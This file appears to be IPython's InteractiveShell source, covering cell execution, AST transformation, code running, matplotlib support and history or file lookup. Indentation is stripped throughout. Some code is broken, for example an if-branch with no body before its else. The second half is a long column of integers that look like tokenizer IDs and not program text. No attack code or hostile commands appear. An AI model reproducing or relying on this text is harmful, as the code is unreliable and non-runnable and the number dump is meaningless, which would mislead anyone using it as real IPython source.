else:
if preprocessing_exc_tuple is None:
cell = transformed_cell
else:
cell = raw_cell
# Store raw and processed history
if store_history:
self.history_manager.store_inputs(self.execution_count,
cell, raw_cell)
if not silent:
self.logger.log(cell, raw_cell)
# Display the exception if input processing failed.
if preprocessing_exc_tuple is not None:
self.showtraceback(preprocessing_exc_tuple)
if store_history:
self.execution_count += 1
return error_before_exec(preprocessing_exc_tuple[1])
# Our own compiler remembers the __future__ environment. If we want to
# run code with a separate __future__ environment, use the default
# compiler
compiler = self.compile if shell_futures else self.compiler_class()
_run_async = False
with self.builtin_trap:
cell_name = self.compile.cache(
cell, self.execution_count, raw_code=raw_cell
)
with self.display_trap:
# Compile to bytecode
try:
if sys.version_info < (3,8) and self.autoawait:
if _should_be_async(cell):
# the code AST below will not be user code: we wrap it
# in an `async def`. This will likely make some AST
# transformer below miss some transform opportunity and
# introduce a small coupling to run_code (in which we
# bake some assumptions of what _ast_asyncify returns.
# they are ways around (like grafting part of the ast
# later:
# - Here, return code_ast.body[0].body[1:-1], as well
# as last expression in return statement which is
# the user code part.
# - Let it go through the AST transformers, and graft
# - it back after the AST transform
# But that seem unreasonable, at least while we
# do not need it.
code_ast = _ast_asyncify(cell, 'async-def-wrapper')
_run_async = True
else:
code_ast = compiler.ast_parse(cell, filename=cell_name)
else:
code_ast = compiler.ast_parse(cell, filename=cell_name)
except self.custom_exceptions as e:
etype, value, tb = sys.exc_info()
self.CustomTB(etype, value, tb)
return error_before_exec(e)
except IndentationError as e:
self.showindentationerror()
return error_before_exec(e)
except (OverflowError, SyntaxError, ValueError, TypeError,
MemoryError) as e:
self.showsyntaxerror()
return error_before_exec(e)
# Apply AST transformations
try:
code_ast = self.transform_ast(code_ast)
except InputRejected as e:
self.showtraceback()
return error_before_exec(e)
# Give the displayhook a reference to our ExecutionResult so it
# can fill in the output value.
self.displayhook.exec_result = result
# Execute the user code
interactivity = "none" if silent else self.ast_node_interactivity
if _run_async:
interactivity = 'async'
has_raised = await self.run_ast_nodes(code_ast.body, cell_name,
interactivity=interactivity, compiler=compiler, result=result)
self.last_execution_succeeded = not has_raised
self.last_execution_result = result
# Reset this so later displayed values do not modify the
# ExecutionResult
self.displayhook.exec_result = None
if store_history:
# Write output to the database. Does nothing unless
# history output logging is enabled.
self.history_manager.store_output(self.execution_count)
# Each cell is a *single* input, regardless of how many lines it has
self.execution_count += 1
return result
def transform_cell(self, raw_cell):
"""Transform an input cell before parsing it.
Static transformations, implemented in IPython.core.inputtransformer2,
deal with things like ``%magic`` and ``!system`` commands.
These run on all input.
Dynamic transformations, for things like unescaped magics and the exit
autocall, depend on the state of the interpreter.
These only apply to single line inputs.
These string-based transformations are followed by AST transformations;
see :meth:`transform_ast`.
"""
# Static input transformations
cell = self.input_transformer_manager.transform_cell(raw_cell)
if len(cell.splitlines()) == 1:
# Dynamic transformations - only applied for single line commands
with self.builtin_trap:
# use prefilter_lines to handle trailing newlines
# restore trailing newline for ast.parse
cell = self.prefilter_manager.prefilter_lines(cell) + '\n'
lines = cell.splitlines(keepends=True)
for transform in self.input_transformers_post:
lines = transform(lines)
cell = ''.join(lines)
return cell
def transform_ast(self, node):
"""Apply the AST transformations from self.ast_transformers
Parameters
----------
node : ast.Node
The root node to be transformed. Typically called with the ast.Module
produced by parsing user input.
Returns
-------
An ast.Node corresponding to the node it was called with. Note that it
may also modify the passed object, so don't rely on references to the
original AST.
"""
for transformer in self.ast_transformers:
try:
node = transformer.visit(node)
except InputRejected:
# User-supplied AST transformers can reject an input by raising
# an InputRejected. Short-circuit in this case so that we
# don't unregister the transform.
raise
except Exception:
warn("AST transformer %r threw an error. It will be unregistered." % transformer)
self.ast_transformers.remove(transformer)
if self.ast_transformers:
ast.fix_missing_locations(node)
return node
async def run_ast_nodes(self, nodelist:ListType[AST], cell_name:str, interactivity='last_expr',
compiler=compile, result=None):
"""Run a sequence of AST nodes. The execution mode depends on the
interactivity parameter.
Parameters
----------
nodelist : list
A sequence of AST nodes to run.
cell_name : str
Will be passed to the compiler as the filename of the cell. Typically
the value returned by ip.compile.cache(cell).
interactivity : str
'all', 'last', 'last_expr' , 'last_expr_or_assign' or 'none',
specifying which nodes should be run interactively (displaying output
from expressions). 'last_expr' will run the last node interactively
only if it is an expression (i.e. expressions in loops or other blocks
are not displayed) 'last_expr_or_assign' will run the last expression
or the last assignment. Other values for this parameter will raise a
ValueError.
Experimental value: 'async' Will try to run top level interactive
async/await code in default runner, this will not respect the
interactivity setting and will only run the last node if it is an
expression.
compiler : callable
A function with the same interface as the built-in compile(), to turn
the AST nodes into code objects. Default is the built-in compile().
result : ExecutionResult, optional
An object to store exceptions that occur during execution.
Returns
-------
True if an exception occurred while running code, False if it finished
running.
"""
if not nodelist:
return
if interactivity == 'last_expr_or_assign':
if isinstance(nodelist[-1], _assign_nodes):
asg = nodelist[-1]
if isinstance(asg, ast.Assign) and len(asg.targets) == 1:
target = asg.targets[0]
elif isinstance(asg, _single_targets_nodes):
target = asg.target
else:
target = None
if isinstance(target, ast.Name):
nnode = ast.Expr(ast.Name(target.id, ast.Load()))
ast.fix_missing_locations(nnode)
nodelist.append(nnode)
interactivity = 'last_expr'
_async = False
if interactivity == 'last_expr':
if isinstance(nodelist[-1], ast.Expr):
interactivity = "last"
else:
interactivity = "none"
if interactivity == 'none':
to_run_exec, to_run_interactive = nodelist, []
elif interactivity == 'last':
to_run_exec, to_run_interactive = nodelist[:-1], nodelist[-1:]
elif interactivity == 'all':
to_run_exec, to_run_interactive = [], nodelist
elif interactivity == 'async':
to_run_exec, to_run_interactive = [], nodelist
_async = True
else:
raise ValueError("Interactivity was %r" % interactivity)
try:
if _async and sys.version_info > (3,8):
raise ValueError("This branch should never happen on Python 3.8 and above, "
"please try to upgrade IPython and open a bug report with your case.")
if _async:
# If interactivity is async the semantics of run_code are
# completely different Skip usual machinery.
mod = Module(nodelist, [])
async_wrapper_code = compiler(mod, cell_name, 'exec')
exec(async_wrapper_code, self.user_global_ns, self.user_ns)
async_code = removed_co_newlocals(self.user_ns.pop('async-def-wrapper')).__code__
if (await self.run_code(async_code, result, async_=True)):
return True
else:
if sys.version_info > (3, 8):
else:
# refactor that to just change the mod constructor.
to_run = []
for node in to_run_exec:
to_run.append((node, 'exec'))
for node in to_run_interactive:
to_run.append((node, 'single'))
for node,mode in to_run:
if mode == 'exec':
mod = Module([node], [])
elif mode == 'single':
mod = ast.Interactive([node])
with compiler.extra_flags(getattr(ast, 'PyCF_ALLOW_TOP_LEVEL_AWAIT', 0x0) if self.autoawait else 0x0):
code = compiler(mod, cell_name, mode)
asy = compare(code)
if (await self.run_code(code, result, async_=asy)):
return True
# Flush softspace
if softspace(sys.stdout, 0):
print()
except:
# It's possible to have exceptions raised here, typically by
# compilation of odd code (such as a naked 'return' outside a
# function) that did parse but isn't valid. Typically the exception
# is a SyntaxError, but it's safest just to catch anything and show
# the user a traceback.
# We do only one try/except outside the loop to minimize the impact
# on runtime, and also because if any node in the node list is
# broken, we should stop execution completely.
if result:
result.error_before_exec = sys.exc_info()[1]
self.showtraceback()
return True
return False
def _async_exec(self, code_obj: types.CodeType, user_ns: dict):
"""
Evaluate an asynchronous code object using a code runner
Fake asynchronous execution of code_object in a namespace via a proxy namespace.
Returns coroutine object, which can be executed via async loop runner
WARNING: The semantics of `async_exec` are quite different from `exec`,
in particular you can only pass a single namespace. It also return a
handle to the value of the last things returned by code_object.
"""
return eval(code_obj, user_ns)
async def run_code(self, code_obj, result=None, *, async_=False):
"""Execute a code object.
When an exception occurs, self.showtraceback() is called to display a
traceback.
Parameters
----------
code_obj : code object
A compiled code object, to be executed
result : ExecutionResult, optional
An object to store exceptions that occur during execution.
async_ : Bool (Experimental)
Attempt to run top-level asynchronous code in a default loop.
Returns
-------
False : successful execution.
True : an error occurred.
"""
# special value to say that anything above is IPython and should be
# hidden.
__tracebackhide__ = "__ipython_bottom__"
# Set our own excepthook in case the user code tries to call it
# directly, so that the IPython crash handler doesn't get triggered
old_excepthook, sys.excepthook = sys.excepthook, self.excepthook
# we save the original sys.excepthook in the instance, in case config
# code (such as magics) needs access to it.
self.sys_excepthook = old_excepthook
outflag = True # happens in more places, so it's easier as default
try:
try:
self.hooks.pre_run_code_hook()
if async_ and sys.version_info < (3,8):
last_expr = (await self._async_exec(code_obj, self.user_ns))
code = compile('last_expr', 'fake', "single")
exec(code, {'last_expr': last_expr})
elif async_ :
await eval(code_obj, self.user_global_ns, self.user_ns)
else:
exec(code_obj, self.user_global_ns, self.user_ns)
finally:
# Reset our crash handler in place
sys.excepthook = old_excepthook
except SystemExit as e:
if result is not None:
result.error_in_exec = e
self.showtraceback(exception_only=True)
warn("To exit: use 'exit', 'quit', or Ctrl-D.", stacklevel=1)
except self.custom_exceptions:
etype, value, tb = sys.exc_info()
if result is not None:
result.error_in_exec = value
self.CustomTB(etype, value, tb)
except:
if result is not None:
result.error_in_exec = sys.exc_info()[1]
self.showtraceback(running_compiled_code=True)
else:
outflag = False
return outflag
# For backwards compatibility
runcode = run_code
def check_complete(self, code: str) -> Tuple[str, str]:
"""Return whether a block of code is ready to execute, or should be continued
Parameters
----------
source : string
Python input code, which can be multiline.
Returns
-------
status : str
One of 'complete', 'incomplete', or 'invalid' if source is not a
prefix of valid code.
indent : str
When status is 'incomplete', this is some whitespace to insert on
the next line of the prompt.
"""
status, nspaces = self.input_transformer_manager.check_complete(code)
return status, ' ' * (nspaces or 0)
#-------------------------------------------------------------------------
# Things related to GUI support and pylab
#-------------------------------------------------------------------------
active_eventloop = None
def enable_matplotlib(self, gui=None):
"""Enable interactive matplotlib and inline figure support.
This takes the following steps:
1. select the appropriate eventloop and matplotlib backend
2. set up matplotlib for interactive use with that backend
3. configure formatters for inline figure display
4. enable the selected gui eventloop
Parameters
----------
gui : optional, string
If given, dictates the choice of matplotlib GUI backend to use
(should be one of IPython's supported backends, 'qt', 'osx', 'tk',
'gtk', 'wx' or 'inline'), otherwise we use the default chosen by
matplotlib (as dictated by the matplotlib build-time options plus the
user's matplotlibrc configuration file). Note that not all backends
make sense in all contexts, for example a terminal ipython can't
display figures inline.
"""
from IPython.core import pylabtools as pt
gui, backend = pt.find_gui_and_backend(gui, self.pylab_gui_select)
if gui != 'inline':
# If we have our first gui selection, store it
if self.pylab_gui_select is None:
self.pylab_gui_select = gui
# Otherwise if they are different
elif gui != self.pylab_gui_select:
print('Warning: Cannot change to a different GUI toolkit: %s.'
' Using %s instead.' % (gui, self.pylab_gui_select))
gui, backend = pt.find_gui_and_backend(self.pylab_gui_select)
pt.activate_matplotlib(backend)
pt.configure_inline_support(self, backend)
# Now we must activate the gui pylab wants to use, and fix %run to take
# plot updates into account
self.enable_gui(gui)
self.magics_manager.registry['ExecutionMagics'].default_runner = \
pt.mpl_runner(self.safe_execfile)
return gui, backend
def enable_pylab(self, gui=None, import_all=True, welcome_message=False):
"""Activate pylab support at runtime.
This turns on support for matplotlib, preloads into the interactive
namespace all of numpy and pylab, and configures IPython to correctly
interact with the GUI event loop. The GUI backend to be used can be
optionally selected with the optional ``gui`` argument.
This method only adds preloading the namespace to InteractiveShell.enable_matplotlib.
Parameters
----------
gui : optional, string
If given, dictates the choice of matplotlib GUI backend to use
(should be one of IPython's supported backends, 'qt', 'osx', 'tk',
'gtk', 'wx' or 'inline'), otherwise we use the default chosen by
matplotlib (as dictated by the matplotlib build-time options plus the
user's matplotlibrc configuration file). Note that not all backends
make sense in all contexts, for example a terminal ipython can't
display figures inline.
import_all : optional, bool, default: True
Whether to do `from numpy import *` and `from pylab import *`
in addition to module imports.
welcome_message : deprecated
This argument is ignored, no welcome message will be displayed.
"""
from IPython.core.pylabtools import import_pylab
gui, backend = self.enable_matplotlib(gui)
# We want to prevent the loading of pylab to pollute the user's
# namespace as shown by the %who* magics, so we execute the activation
# code in an empty namespace, and we update *both* user_ns and
# user_ns_hidden with this information.
ns = {}
import_pylab(ns, import_all)
# warn about clobbered names
ignored = {"__builtins__"}
both = set(ns).intersection(self.user_ns).difference(ignored)
clobbered = [ name for name in both if self.user_ns[name] is not ns[name] ]
self.user_ns.update(ns)
self.user_ns_hidden.update(ns)
return gui, backend, clobbered
#-------------------------------------------------------------------------
# Utilities
#-------------------------------------------------------------------------
def var_expand(self, cmd, depth=0, formatter=DollarFormatter()):
"""Expand python variables in a string.
The depth argument indicates how many frames above the caller should
be walked to look for the local namespace where to expand variables.
The global namespace for expansion is always the user's interactive
namespace.
"""
ns = self.user_ns.copy()
try:
frame = sys._getframe(depth+1)
except ValueError:
# This is thrown if there aren't that many frames on the stack,
# e.g. if a script called run_line_magic() directly.
pass
else:
ns.update(frame.f_locals)
try:
# We have to use .vformat() here, because 'self' is a valid and common
# name, and expanding **ns for .format() would make it collide with
# the 'self' argument of the method.
cmd = formatter.vformat(cmd, args=[], kwargs=ns)
except Exception:
# if formatter couldn't format, just let it go untransformed
pass
return cmd
def mktempfile(self, data=None, prefix='ipython_edit_'):
"""Make a new tempfile and return its filename.
This makes a call to tempfile.mkstemp (created in a tempfile.mkdtemp),
but it registers the created filename internally so ipython cleans it up
at exit time.
Optional inputs:
- data(None): if data is given, it gets written out to the temp file
immediately, and the file is closed again."""
dirname = tempfile.mkdtemp(prefix=prefix)
self.tempdirs.append(dirname)
handle, filename = tempfile.mkstemp('.py', prefix, dir=dirname)
os.close(handle) # On Windows, there can only be one open handle on a file
self.tempfiles.append(filename)
if data:
with open(filename, 'w') as tmp_file:
tmp_file.write(data)
return filename
@undoc
def write(self,data):
"""DEPRECATED: Write a string to the default output"""
warn('InteractiveShell.write() is deprecated, use sys.stdout instead',
DeprecationWarning, stacklevel=2)
sys.stdout.write(data)
@undoc
def write_err(self,data):
"""DEPRECATED: Write a string to the default error output"""
warn('InteractiveShell.write_err() is deprecated, use sys.stderr instead',
DeprecationWarning, stacklevel=2)
sys.stderr.write(data)
def show_usage(self):
"""Show a usage message"""
page.page(IPython.core.usage.interactive_usage)
def extract_input_lines(self, range_str, raw=False):
"""Return as a string a set of input history slices.
Parameters
----------
range_str : string
The set of slices is given as a string, like "~5/6-~4/2 4:8 9",
since this function is for use by magic functions which get their
arguments as strings. The number before the / is the session
number: ~n goes n back from the current session.
raw : bool, optional
By default, the processed input is used. If this is true, the raw
input history is used instead.
Notes
-----
Slices can be described with two notations:
* ``N:M`` -> standard python form, means including items N...(M-1).
* ``N-M`` -> include items N..M (closed endpoint).
"""
lines = self.history_manager.get_range_by_str(range_str, raw=raw)
return "\n".join(x for _, _, x in lines)
def find_user_code(self, target, raw=True, py_only=False, skip_encoding_cookie=True, search_ns=False):
"""Get a code string from history, file, url, or a string or macro.
This is mainly used by magic functions.
Parameters
----------
target : str
A string specifying code to retrieve. This will be tried respectively
as: ranges of input history (see %history for syntax), url,
corresponding .py file, filename, or an expression evaluating to a
string or Macro in the user namespace.
raw : bool
If true (default), retrieve raw history. Has no effect on the other
retrieval mechanisms.
py_only : bool (default False)
Only try to fetch python code, do not try alternative methods to decode file
if unicode fails.
Returns
-------
A string of code.
ValueError is raised if nothing is found, and TypeError if it evaluates
to an object of another type. In each case, .args[0] is a printable
message.
"""
code = self.extract_input_lines(target, raw=raw) # Grab history
if code:
return code
try:
if target.startswith(('http://', 'https://')):
return openpy.read_py_url(target, skip_encoding_cookie=skip_encoding_cookie)
except UnicodeDecodeError:
if not py_only :
# Deferred import
from urllib.request import urlopen
response = urlopen(target)
return response.read().decode('latin1')
raise ValueError(("'%s' seem to be unreadable.") % target)
potential_target = [target]
try :
potential_target.insert(0,get_py_filename(target))
except IOError:
pass
for tgt in potential_target :
if os.path.isfile(tgt): # Read file
try :
return openpy.read_py_file(tgt, skip_encoding_cookie=skip_encoding_cookie)
except UnicodeDecodeError :
if not py_only :
with io_open(tgt,'r', encoding='latin1') as f :
return f.read()
raise ValueError(("'%s' seem to be unreadable.") % target)
elif os.path.isdir(os.path.expanduser(tgt)):
raise ValueError("'%s' is a directory, not a regular file." % target)
if search_ns:
# Inspect namespace to load object source
object_info = self.object_inspect(target, detail_level=1)
if object_info['found'] and object_info['source']:
return object_info['source']
try: # User namespace
codeobj = eval(target, self.user_ns)
except Exception:
raise ValueError(("'%s' was not found in history, as a file, url, "
"nor in the user namespace.") % target)
if isinstance(codeobj, str):
return codeobj
elif isinstance(codeobj, Macro):
return codeobj.value
raise TypeError("%s is neither a string nor a macro." % target,
codeobj)
#-------------------------------------------------------------------------
# Things related to IPython exiting
#-------------------------------------------------------------------------
def atexit_operations(self):
"""This will be executed at the time of exit.
Cleanup operations and saving of persistent data that is done
unconditionally by IPython should be performed here.
For things that may depend on startup flags or platform specifics (such
as having readline or not), register a separate atexit function in the
code that has the appropriate information, rather than trying to
clutter
"""
# Close the history session (this stores the end time and line count)
# this must be *before* the tempfile cleanup, in case of temporary
# history db
self.history_manager.end_session()
# Cleanup all tempfiles and folders left around
for tfile in self.tempfiles:
try:
os.unlink(tfile)
except OSError:
pass
for tdir in self.tempdirs:
try:
os.rmdir(tdir)
except OSError:
pass
# Clear all user namespaces to release all references cleanly.
self.reset(new_session=False)
# Run user hooks
self.hooks.shutdown_hook()
# Overridden in terminal subclass to change prompts
class InteractiveShellABC(metaclass=abc.ABCMeta):
"""An abstract base class for InteractiveShell."""
InteractiveShellABC.register(InteractiveShell)
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2845,
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38177,
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220,
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1303,
1406,
11,
257,
3119,
743,
307,
4504,
826,
1497,
13,
198,
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220,
220,
220,
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220,
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39098,
7,
35226,
11,
3119,
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198,
220,
220,
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220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
708,
81,
628,
220,
220,
220,
220,
220,
220,
220,
1303,
10528,
4193,
11,
2121,
736,
13,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
651,
35226,
7,
26801,
11,
708,
81,
3672,
8,
628,
220,
220,
220,
825,
4808,
15252,
62,
19796,
7,
944,
11,
319,
480,
11,
3891,
43076,
28,
14202,
2599,
198,
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220,
220,
220,
220,
220,
220,
37227,
16742,
281,
2134,
290,
1441,
257,
2878,
351,
7508,
546,
340,
526,
15931,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
32112,
7,
944,
13557,
1659,
521,
7,
261,
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11,
3891,
43076,
4008,
628,
220,
220,
220,
825,
4808,
1040,
806,
7,
944,
11,
11248,
11,
319,
480,
11,
3891,
43076,
28,
14202,
11,
12429,
46265,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
46189,
7071,
284,
262,
24110,
1080,
13,
628,
220,
220,
220,
220,
220,
220,
220,
770,
2163,
318,
4001,
284,
307,
1444,
416,
279,
4299,
11,
279,
15390,
1222,
2460,
13,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
7508,
796,
2116,
13557,
15252,
62,
19796,
7,
261,
480,
11,
3891,
43076,
8,
198,
220,
220,
220,
220,
220,
220,
220,
2205,
18982,
796,
599,
20079,
87,
1958,
611,
2116,
13,
82,
746,
28413,
1958,
62,
15390,
8841,
2073,
6045,
198,
220,
220,
220,
220,
220,
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611,
7508,
13,
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25,
198,
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220,
220,
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220,
220,
220,
220,
220,
220,
279,
24396,
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651,
35226,
7,
944,
13,
1040,
806,
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11,
11248,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
16926,
46,
25,
691,
4174,
5794,
62,
9612,
284,
262,
8631,
14,
5239,
41575,
286,
262,
285,
524,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
18537,
13,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1296,
1436,
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5794,
62,
9612,
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7508,
13,
1042,
9083,
2073,
2205,
18982,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
11248,
6624,
705,
79,
15390,
10354,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
279,
24396,
7,
10951,
13,
26801,
11,
319,
480,
11,
1296,
1436,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1288,
361,
11248,
6624,
705,
79,
10951,
10354,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
279,
24396,
7,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7508,
13,
26801,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
319,
480,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1296,
1436,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7508,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7139,
62,
6494,
62,
79,
3536,
28,
944,
13,
21633,
62,
6494,
62,
79,
3536,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
12429,
46265,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1267,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
279,
24396,
7,
10951,
13,
26801,
11,
319,
480,
8,
198,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3601,
10786,
10267,
4600,
4,
82,
63,
407,
1043,
2637,
4064,
319,
480,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
705,
1662,
1043,
6,
220,
1303,
523,
869,
364,
460,
1011,
584,
2223,
628,
220,
220,
220,
825,
2134,
62,
1040,
806,
7,
944,
11,
319,
480,
11,
3703,
62,
5715,
28,
15,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
3855,
2134,
7508,
546,
319,
480,
37811,
198,
220,
220,
220,
220,
220,
220,
220,
351,
2116,
13,
18780,
259,
62,
46670,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7508,
796,
2116,
13557,
15252,
62,
19796,
7,
261,
480,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
7508,
13,
9275,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
2116,
13,
1040,
806,
273,
13,
10951,
7,
10951,
13,
26801,
11,
319,
480,
11,
7508,
28,
10951,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3703,
62,
5715,
28,
49170,
62,
5715,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1267,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
267,
1040,
806,
13,
15252,
62,
10951,
7,
3672,
28,
261,
480,
11,
1043,
28,
25101,
8,
628,
220,
220,
220,
825,
2134,
62,
1040,
806,
62,
5239,
7,
944,
11,
319,
480,
11,
3703,
62,
5715,
28,
15,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
3855,
2134,
7508,
355,
39559,
2420,
37811,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
2116,
13,
15252,
62,
1040,
806,
62,
76,
524,
7,
261,
480,
11,
3703,
62,
5715,
8,
17816,
5239,
14,
25638,
20520,
628,
220,
220,
220,
825,
2134,
62,
1040,
806,
62,
76,
524,
7,
944,
11,
319,
480,
11,
3703,
62,
5715,
28,
15,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
3855,
2134,
7508,
355,
257,
285,
524,
65,
31249,
286,
39559,
24612,
13,
628,
220,
220,
220,
220,
220,
220,
220,
317,
285,
524,
65,
31249,
318,
257,
22155,
11,
1994,
276,
416,
285,
524,
12,
4906,
13,
198,
220,
220,
220,
220,
220,
220,
220,
632,
1276,
1464,
423,
262,
1994,
4600,
6,
5239,
14,
25638,
6,
44646,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
351,
2116,
13,
18780,
259,
62,
46670,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7508,
796,
2116,
13557,
15252,
62,
19796,
7,
261,
480,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
7508,
13,
9275,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
2116,
13,
1040,
806,
273,
13557,
1136,
62,
10951,
7,
10951,
13,
26801,
11,
319,
480,
11,
7508,
28,
10951,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3703,
62,
5715,
28,
49170,
62,
5715,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1267,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
5298,
7383,
12331,
7,
261,
480,
8,
628,
220,
220,
220,
1303,
10097,
45537,
198,
220,
220,
220,
1303,
11597,
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220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1988,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1949,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
35528,
6097,
460,
2183,
786,
511,
12854,
1891,
532,
356,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
779,
428,
287,
6101,
7535,
13,
1845,
29363,
329,
13269,
14963,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
287,
262,
11874,
13,
770,
815,
1441,
257,
1351,
286,
13042,
13,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
336,
65,
796,
1988,
13557,
13287,
62,
40546,
1891,
62,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2845,
35528,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
336,
65,
796,
2116,
13,
9492,
5275,
22737,
13,
7249,
1522,
62,
40546,
1891,
7,
2963,
431,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1988,
11,
256,
65,
11,
256,
65,
62,
28968,
28,
83,
65,
62,
28968,
8,
628,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13557,
12860,
40546,
1891,
7,
2963,
431,
11,
1988,
11,
336,
65,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
2116,
13,
13345,
62,
79,
9945,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
4268,
656,
49518,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
24442,
1362,
7,
3174,
28,
17821,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
628,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
18689,
905,
262,
12854,
1891,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13557,
12860,
40546,
1891,
7,
2963,
431,
11,
1988,
11,
336,
65,
8,
628,
220,
220,
220,
220,
220,
220,
220,
2845,
31973,
9492,
3622,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3601,
10786,
59,
77,
6,
1343,
2116,
13,
1136,
62,
1069,
4516,
62,
8807,
22784,
2393,
28,
17597,
13,
301,
1082,
81,
8,
628,
220,
220,
220,
825,
4808,
12860,
40546,
1891,
7,
944,
11,
304,
4906,
11,
5418,
518,
11,
336,
65,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
26417,
905,
257,
12854,
1891,
13,
628,
220,
220,
220,
220,
220,
220,
220,
3834,
37724,
743,
20957,
428,
2446,
284,
1234,
262,
12854,
1891,
319,
257,
1180,
198,
220,
220,
220,
220,
220,
220,
220,
1295,
11,
588,
257,
1735,
6518,
13,
198,
220,
